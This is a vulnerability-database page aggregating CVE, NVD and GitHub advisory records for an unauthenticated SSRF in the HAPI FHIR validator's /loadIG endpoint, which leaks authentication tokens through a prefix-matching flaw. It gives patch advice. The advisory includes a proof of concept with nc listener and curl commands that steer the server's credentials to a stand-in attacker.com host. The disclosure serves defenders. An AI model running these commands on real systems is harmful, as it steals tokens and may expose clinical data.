Vulnerability-Lookup

CVE-2026-34361 (GCVE-0-2026-34361)

Vulnerability from cvelistv5 – Published: 2026-03-31 16:56 – Updated: 2026-03-31 17:24

Title

HAPI FHIR: Unauthenticated SSRF via /loadIG Chains with startsWith() Credential Leak for Authentication Token Theft

Summary

HAPI FHIR is a complete implementation of the HL7 FHIR standard for healthcare interoperability in Java. Prior to version 6.9.4, the FHIR Validator HTTP service exposes an unauthenticated "/loadIG" endpoint that makes outbound HTTP requests to attacker-controlled URLs. Combined with a startsWith() URL prefix matching flaw in the credential provider (ManagedWebAccessUtils.getServer()), an attacker can steal authentication tokens (Bearer, Basic, API keys) configured for legitimate FHIR servers by registering a domain that prefix-matches a configured server URL. This issue has been patched in version 6.9.4.

Severity

9.3 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-552 - Files or Directories Accessible to External Parties

Assigner

GitHub_M

References

1 reference

URL	Tags
https://github.com/hapifhir/org.hl7.fhir.core/sec…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
hapifhir	org.hl7.fhir.core	Affected: < 6.9.4

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-34361",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-31T17:24:51.492896Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-31T17:24:58.558Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "org.hl7.fhir.core",
          "vendor": "hapifhir",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 6.9.4"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "HAPI FHIR is a complete implementation of the HL7 FHIR standard for healthcare interoperability in Java. Prior to version 6.9.4, the FHIR Validator HTTP service exposes an unauthenticated \"/loadIG\" endpoint that makes outbound HTTP requests to attacker-controlled URLs. Combined with a startsWith() URL prefix matching flaw in the credential provider (ManagedWebAccessUtils.getServer()), an attacker can steal authentication tokens (Bearer, Basic, API keys) configured for legitimate FHIR servers by registering a domain that prefix-matches a configured server URL. This issue has been patched in version 6.9.4."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 9.3,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-552",
              "description": "CWE-552: Files or Directories Accessible to External Parties",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-31T16:56:11.163Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/hapifhir/org.hl7.fhir.core/security/advisories/GHSA-vr79-8m62-wh98",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/hapifhir/org.hl7.fhir.core/security/advisories/GHSA-vr79-8m62-wh98"
        }
      ],
      "source": {
        "advisory": "GHSA-vr79-8m62-wh98",
        "discovery": "UNKNOWN"
      },
      "title": "HAPI FHIR: Unauthenticated SSRF via /loadIG Chains with startsWith() Credential Leak for Authentication Token Theft"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-34361",
    "datePublished": "2026-03-31T16:56:11.163Z",
    "dateReserved": "2026-03-27T13:43:14.368Z",
    "dateUpdated": "2026-03-31T17:24:58.558Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-34361",
      "date": "2026-07-24",
      "epss": "0.00299",
      "percentile": "0.22077"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-34361\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-03-31T17:16:32.923\",\"lastModified\":\"2026-07-24T20:10:00.147\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"HAPI FHIR is a complete implementation of the HL7 FHIR standard for healthcare interoperability in Java. Prior to version 6.9.4, the FHIR Validator HTTP service exposes an unauthenticated \\\"/loadIG\\\" endpoint that makes outbound HTTP requests to attacker-controlled URLs. Combined with a startsWith() URL prefix matching flaw in the credential provider (ManagedWebAccessUtils.getServer()), an attacker can steal authentication tokens (Bearer, Basic, API keys) configured for legitimate FHIR servers by registering a domain that prefix-matches a configured server URL. This issue has been patched in version 6.9.4.\"},{\"lang\":\"es\",\"value\":\"HAPI FHIR es una implementaci\u00f3n completa del est\u00e1ndar HL7 FHIR para la interoperabilidad en el sector sanitario en Java. Antes de la versi\u00f3n 6.9.4, el servicio HTTP del Validador FHIR expone un endpoint \u0027/loadIG\u0027 no autenticado que realiza solicitudes HTTP salientes a URLs controladas por el atacante. Combinado con una falla de coincidencia de prefijo de URL startsWith() en el proveedor de credenciales (ManagedWebAccessUtils.getServer()), un atacante puede robar tokens de autenticaci\u00f3n (Bearer, Basic, claves API) configurados para servidores FHIR leg\u00edtimos registrando un dominio que coincida con el prefijo de una URL de servidor configurada. Este problema ha sido parcheado en la versi\u00f3n 6.9.4.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"hapifhir\",\"product\":\"org.hl7.fhir.core\",\"versions\":[{\"version\":\"\u003c 6.9.4\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N\",\"baseScore\":9.3,\"baseSeverity\":\"CRITICAL\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"CHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"LOW\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":3.9,\"impactScore\":4.7},{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N\",\"baseScore\":9.3,\"baseSeverity\":\"CRITICAL\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"CHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"LOW\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":3.9,\"impactScore\":4.7}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-03-31T17:24:51.492896Z\",\"id\":\"CVE-2026-34361\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"yes\"},{\"technicalImpact\":\"partial\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-552\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:hapifhir:hl7_fhir_core:*:*:*:*:*:*:*:*\",\"versionEndExcluding\":\"6.9.4\",\"matchCriteriaId\":\"03C38881-A545-4EB5-BF3A-E15EF3D0F995\"}]}]}],\"references\":[{\"url\":\"https://github.com/hapifhir/org.hl7.fhir.core/security/advisories/GHSA-vr79-8m62-wh98\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Exploit\",\"Vendor Advisory\"]}]}}",
    "redhat_vex": {
      "current_release_date": "2026-04-01T17:03:30+00:00",
      "cve": "CVE-2026-34361",
      "id": "CVE-2026-34361",
      "initial_release_date": "2026-01-01T00:00:00+00:00",
      "product_status:known_not_affected": "1",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "HAPI FHIR: Unauthenticated SSRF via /loadIG Chains with startsWith() Credential Leak for Authentication Token Theft",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-34361.json",
      "version": "3"
    },
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-34361\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"yes\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-03-31T17:24:51.492896Z\"}}}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-03-31T17:24:55.698Z\"}}], \"cna\": {\"title\": \"HAPI FHIR: Unauthenticated SSRF via /loadIG Chains with startsWith() Credential Leak for Authentication Token Theft\", \"source\": {\"advisory\": \"GHSA-vr79-8m62-wh98\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"CHANGED\", \"version\": \"3.1\", \"baseScore\": 9.3, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"CRITICAL\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N\", \"integrityImpact\": \"LOW\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"NONE\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"HIGH\"}}], \"affected\": [{\"vendor\": \"hapifhir\", \"product\": \"org.hl7.fhir.core\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 6.9.4\"}]}], \"references\": [{\"url\": \"https://github.com/hapifhir/org.hl7.fhir.core/security/advisories/GHSA-vr79-8m62-wh98\", \"name\": \"https://github.com/hapifhir/org.hl7.fhir.core/security/advisories/GHSA-vr79-8m62-wh98\", \"tags\": [\"x_refsource_CONFIRM\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"HAPI FHIR is a complete implementation of the HL7 FHIR standard for healthcare interoperability in Java. Prior to version 6.9.4, the FHIR Validator HTTP service exposes an unauthenticated \\\"/loadIG\\\" endpoint that makes outbound HTTP requests to attacker-controlled URLs. Combined with a startsWith() URL prefix matching flaw in the credential provider (ManagedWebAccessUtils.getServer()), an attacker can steal authentication tokens (Bearer, Basic, API keys) configured for legitimate FHIR servers by registering a domain that prefix-matches a configured server URL. This issue has been patched in version 6.9.4.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-552\", \"description\": \"CWE-552: Files or Directories Accessible to External Parties\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-03-31T16:56:11.163Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-34361\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-03-31T17:24:58.558Z\", \"dateReserved\": \"2026-03-27T13:43:14.368Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-03-31T16:56:11.163Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-34361

Vulnerability from fkie_nvd - Published: 2026-03-31 17:16 - Updated: 2026-06-17 10:38

Severity

9.3 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
9.3 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/hapifhir/org.hl7.fhir.core/security/advisories/GHSA-vr79-8m62-wh98	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	hapifhir	hl7_fhir_core	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "org.hl7.fhir.core",
          "vendor": "hapifhir",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 6.9.4"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:hapifhir:hl7_fhir_core:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "03C38881-A545-4EB5-BF3A-E15EF3D0F995",
              "versionEndExcluding": "6.9.4",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "HAPI FHIR is a complete implementation of the HL7 FHIR standard for healthcare interoperability in Java. Prior to version 6.9.4, the FHIR Validator HTTP service exposes an unauthenticated \"/loadIG\" endpoint that makes outbound HTTP requests to attacker-controlled URLs. Combined with a startsWith() URL prefix matching flaw in the credential provider (ManagedWebAccessUtils.getServer()), an attacker can steal authentication tokens (Bearer, Basic, API keys) configured for legitimate FHIR servers by registering a domain that prefix-matches a configured server URL. This issue has been patched in version 6.9.4."
    }
  ],
  "id": "CVE-2026-34361",
  "lastModified": "2026-06-17T10:38:56.780",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 9.3,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 4.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 9.3,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 4.7,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-34361",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-03-31T17:24:51.492896Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-03-31T17:16:32.923",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/hapifhir/org.hl7.fhir.core/security/advisories/GHSA-vr79-8m62-wh98"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-552"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-VR79-8M62-WH98

Vulnerability from github – Published: 2026-03-30 17:24 – Updated: 2026-03-31 18:55

Summary

FHIR Validator HTTP service has SSRF via /loadIG Chains with startsWith() Credential Leak for Authentication Token Theft

Details

Summary

The FHIR Validator HTTP service exposes an unauthenticated /loadIG endpoint that makes outbound HTTP requests to attacker-controlled URLs. Combined with a startsWith() URL prefix matching flaw in the credential provider (ManagedWebAccessUtils.getServer()), an attacker can steal authentication tokens (Bearer, Basic, API keys) configured for legitimate FHIR servers by registering a domain that prefix-matches a configured server URL.

Details

Step 1 — SSRF Entry Point (LoadIGHTTPHandler.java:35-43):

The /loadIG endpoint accepts unauthenticated POST requests with a JSON body containing an ig field. The value is passed directly to IgLoader.loadIg() with no URL validation or allowlisting. When the value is an HTTP(S) URL, IgLoader.fetchFromUrlSpecific() makes an outbound GET request via ManagedWebAccess.get():

// LoadIGHTTPHandler.java:43
engine.getIgLoader().loadIg(engine.getIgs(), engine.getBinaries(), igContent, true);

// IgLoader.java:437 (fetchFromUrlSpecific)
HTTPResult res = ManagedWebAccess.get(Arrays.asList("web"), source + "?nocache=" + System.currentTimeMillis());

Step 2 — Credential Leak via Prefix Matching (ManagedWebAccessUtils.java:14):

When ManagedWebAccess creates a SimpleHTTPClient, it attaches an authProvider that uses startsWith() to determine whether credentials should be sent:

// ManagedWebAccessUtils.java:14
if (url.startsWith(serverDetails.getUrl()) && typesMatch(serverType, serverDetails.getType())) {
    return serverDetails;
}

If the server has https://packages.fhir.org configured with a Bearer token, a request to https://packages.fhir.org.attacker.com/... matches the prefix, and the token is attached to the request to the attacker's domain.

Step 3 — Redirect Amplification (SimpleHTTPClient.java:84-99,111-118):

SimpleHTTPClient manually follows redirects with setInstanceFollowRedirects(false). On each redirect hop, getHttpGetConnection() calls setHeaders() which re-evaluates authProvider.canProvideHeaders(url) against the new URL. This means even an indirect redirect path can trigger credential leakage.

PoC

Prerequisites: A FHIR Validator HTTP server running with fhir-settings.json containing:

{
  "servers": [{
    "url": "https://packages.fhir.org",
    "authenticationType": "token",
    "token": "ghp_SecretTokenForFHIRRegistry123"
  }]
}

Step 1: Set up attacker credential capture server:

# On attacker machine, listen for incoming requests
nc -lp 80 > /tmp/captured_request.txt &
# Register DNS: packages.fhir.org.attacker.com -> attacker IP

Step 2: Trigger the SSRF with prefix-matching URL:

curl -X POST http://target-validator:8080/loadIG \
  -H "Content-Type: application/json" \
  -d '{"ig": "https://packages.fhir.org.attacker.com/malicious-ig"}'

Step 3: Verify credential capture:

cat /tmp/captured_request.txt
# Expected output includes:
# GET /malicious-ig?nocache=... HTTP/1.1
# Authorization: Bearer ghp_SecretTokenForFHIRRegistry123
# Host: packages.fhir.org.attacker.com

Redirect variant (if direct prefix match isn't possible):

# Attacker server returns: HTTP/1.1 302 Location: https://packages.fhir.org.attacker.com/steal
curl -X POST http://target-validator:8080/loadIG \
  -H "Content-Type: application/json" \
  -d '{"ig": "https://attacker.com/redirect"}'

Impact

Credential theft: Attacker steals Bearer tokens, Basic auth credentials, or API keys for any configured FHIR server
Supply chain attack: Stolen package registry credentials could be used to publish malicious FHIR packages affecting downstream consumers
Data breach: If credentials grant access to protected FHIR endpoints (e.g., clinical data repositories), patient health records could be exposed
Scope change (S:C): The vulnerability in the validator compromises the security of external systems (FHIR registries, package servers) whose credentials are leaked

Recommended Fix

Fix 1 — Proper URL origin comparison in ManagedWebAccessUtils (ManagedWebAccessUtils.java):

public static ServerDetailsPOJO getServer(Iterable<String> serverTypes, String url, Iterable<ServerDetailsPOJO> serverAuthDetails) {
    if (serverAuthDetails != null) {
      for (ServerDetailsPOJO serverDetails : serverAuthDetails) {
        for (String serverType : serverTypes) {
          if (urlMatchesOrigin(url, serverDetails.getUrl()) && typesMatch(serverType, serverDetails.getType())) {
            return serverDetails;
          }
        }
      }
    }
    return null;
  }

  private static boolean urlMatchesOrigin(String requestUrl, String serverUrl) {
    try {
      URL req = new URL(requestUrl);
      URL srv = new URL(serverUrl);
      return req.getProtocol().equals(srv.getProtocol())
          && req.getHost().equals(srv.getHost())
          && req.getPort() == srv.getPort()
          && req.getPath().startsWith(srv.getPath());
    } catch (MalformedURLException e) {
      return false;
    }
  }

Fix 2 — URL allowlisting in LoadIGHTTPHandler (LoadIGHTTPHandler.java):

// Add allowlist validation before loading
private static final Set<String> ALLOWED_HOSTS = Set.of(
    "packages.fhir.org", "packages2.fhir.org", "build.fhir.org"
);

private boolean isAllowedSource(String ig) {
    try {
        URL url = new URL(ig);
        return ALLOWED_HOSTS.contains(url.getHost());
    } catch (MalformedURLException e) {
        return false; // Not a URL, could be a package reference
    }
}

Severity

9.3 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ca.uhn.hapi.fhir:org.hl7.fhir.validation"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.9.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34361"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522",
      "CWE-552"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-30T17:24:10Z",
    "nvd_published_at": "2026-03-31T17:16:32Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe FHIR Validator HTTP service exposes an unauthenticated `/loadIG` endpoint that makes outbound HTTP requests to attacker-controlled URLs. Combined with a `startsWith()` URL prefix matching flaw in the credential provider (`ManagedWebAccessUtils.getServer()`), an attacker can steal authentication tokens (Bearer, Basic, API keys) configured for legitimate FHIR servers by registering a domain that prefix-matches a configured server URL.\n\n## Details\n\n**Step 1 \u2014 SSRF Entry Point** (`LoadIGHTTPHandler.java:35-43`):\n\nThe `/loadIG` endpoint accepts unauthenticated POST requests with a JSON body containing an `ig` field. The value is passed directly to `IgLoader.loadIg()` with no URL validation or allowlisting. When the value is an HTTP(S) URL, `IgLoader.fetchFromUrlSpecific()` makes an outbound GET request via `ManagedWebAccess.get()`:\n\n```java\n// LoadIGHTTPHandler.java:43\nengine.getIgLoader().loadIg(engine.getIgs(), engine.getBinaries(), igContent, true);\n\n// IgLoader.java:437 (fetchFromUrlSpecific)\nHTTPResult res = ManagedWebAccess.get(Arrays.asList(\"web\"), source + \"?nocache=\" + System.currentTimeMillis());\n```\n\n**Step 2 \u2014 Credential Leak via Prefix Matching** (`ManagedWebAccessUtils.java:14`):\n\nWhen `ManagedWebAccess` creates a `SimpleHTTPClient`, it attaches an `authProvider` that uses `startsWith()` to determine whether credentials should be sent:\n\n```java\n// ManagedWebAccessUtils.java:14\nif (url.startsWith(serverDetails.getUrl()) \u0026\u0026 typesMatch(serverType, serverDetails.getType())) {\n    return serverDetails;\n}\n```\n\nIf the server has `https://packages.fhir.org` configured with a Bearer token, a request to `https://packages.fhir.org.attacker.com/...` matches the prefix, and the token is attached to the request to the attacker\u0027s domain.\n\n**Step 3 \u2014 Redirect Amplification** (`SimpleHTTPClient.java:84-99,111-118`):\n\n`SimpleHTTPClient` manually follows redirects with `setInstanceFollowRedirects(false)`. On each redirect hop, `getHttpGetConnection()` calls `setHeaders()` which re-evaluates `authProvider.canProvideHeaders(url)` against the **new URL**. This means even an indirect redirect path can trigger credential leakage.\n\n## PoC\n\n**Prerequisites:** A FHIR Validator HTTP server running with `fhir-settings.json` containing:\n```json\n{\n  \"servers\": [{\n    \"url\": \"https://packages.fhir.org\",\n    \"authenticationType\": \"token\",\n    \"token\": \"ghp_SecretTokenForFHIRRegistry123\"\n  }]\n}\n```\n\n**Step 1:** Set up attacker credential capture server:\n```bash\n# On attacker machine, listen for incoming requests\nnc -lp 80 \u003e /tmp/captured_request.txt \u0026\n# Register DNS: packages.fhir.org.attacker.com -\u003e attacker IP\n```\n\n**Step 2:** Trigger the SSRF with prefix-matching URL:\n```bash\ncurl -X POST http://target-validator:8080/loadIG \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"ig\": \"https://packages.fhir.org.attacker.com/malicious-ig\"}\u0027\n```\n\n**Step 3:** Verify credential capture:\n```bash\ncat /tmp/captured_request.txt\n# Expected output includes:\n# GET /malicious-ig?nocache=... HTTP/1.1\n# Authorization: Bearer ghp_SecretTokenForFHIRRegistry123\n# Host: packages.fhir.org.attacker.com\n```\n\n**Redirect variant** (if direct prefix match isn\u0027t possible):\n```bash\n# Attacker server returns: HTTP/1.1 302 Location: https://packages.fhir.org.attacker.com/steal\ncurl -X POST http://target-validator:8080/loadIG \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"ig\": \"https://attacker.com/redirect\"}\u0027\n```\n\n## Impact\n\n- **Credential theft**: Attacker steals Bearer tokens, Basic auth credentials, or API keys for any configured FHIR server\n- **Supply chain attack**: Stolen package registry credentials could be used to publish malicious FHIR packages affecting downstream consumers\n- **Data breach**: If credentials grant access to protected FHIR endpoints (e.g., clinical data repositories), patient health records could be exposed\n- **Scope change (S:C)**: The vulnerability in the validator compromises the security of external systems (FHIR registries, package servers) whose credentials are leaked\n\n## Recommended Fix\n\n**Fix 1 \u2014 Proper URL origin comparison in ManagedWebAccessUtils** (`ManagedWebAccessUtils.java`):\n```java\npublic static ServerDetailsPOJO getServer(Iterable\u003cString\u003e serverTypes, String url, Iterable\u003cServerDetailsPOJO\u003e serverAuthDetails) {\n    if (serverAuthDetails != null) {\n      for (ServerDetailsPOJO serverDetails : serverAuthDetails) {\n        for (String serverType : serverTypes) {\n          if (urlMatchesOrigin(url, serverDetails.getUrl()) \u0026\u0026 typesMatch(serverType, serverDetails.getType())) {\n            return serverDetails;\n          }\n        }\n      }\n    }\n    return null;\n  }\n\n  private static boolean urlMatchesOrigin(String requestUrl, String serverUrl) {\n    try {\n      URL req = new URL(requestUrl);\n      URL srv = new URL(serverUrl);\n      return req.getProtocol().equals(srv.getProtocol())\n          \u0026\u0026 req.getHost().equals(srv.getHost())\n          \u0026\u0026 req.getPort() == srv.getPort()\n          \u0026\u0026 req.getPath().startsWith(srv.getPath());\n    } catch (MalformedURLException e) {\n      return false;\n    }\n  }\n```\n\n**Fix 2 \u2014 URL allowlisting in LoadIGHTTPHandler** (`LoadIGHTTPHandler.java`):\n```java\n// Add allowlist validation before loading\nprivate static final Set\u003cString\u003e ALLOWED_HOSTS = Set.of(\n    \"packages.fhir.org\", \"packages2.fhir.org\", \"build.fhir.org\"\n);\n\nprivate boolean isAllowedSource(String ig) {\n    try {\n        URL url = new URL(ig);\n        return ALLOWED_HOSTS.contains(url.getHost());\n    } catch (MalformedURLException e) {\n        return false; // Not a URL, could be a package reference\n    }\n}\n```",
  "id": "GHSA-vr79-8m62-wh98",
  "modified": "2026-03-31T18:55:51Z",
  "published": "2026-03-30T17:24:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/hapifhir/org.hl7.fhir.core/security/advisories/GHSA-vr79-8m62-wh98"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34361"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hapifhir/org.hl7.fhir.core"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "FHIR Validator HTTP service has SSRF via /loadIG Chains with startsWith() Credential Leak for Authentication Token Theft"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

CVE-2026-34361 (GCVE-0-2026-34361)

FKIE_CVE-2026-34361

GHSA-VR79-8M62-WH98

Summary

Details

PoC

Impact

Recommended Fix

Tags

Sightings

Nomenclature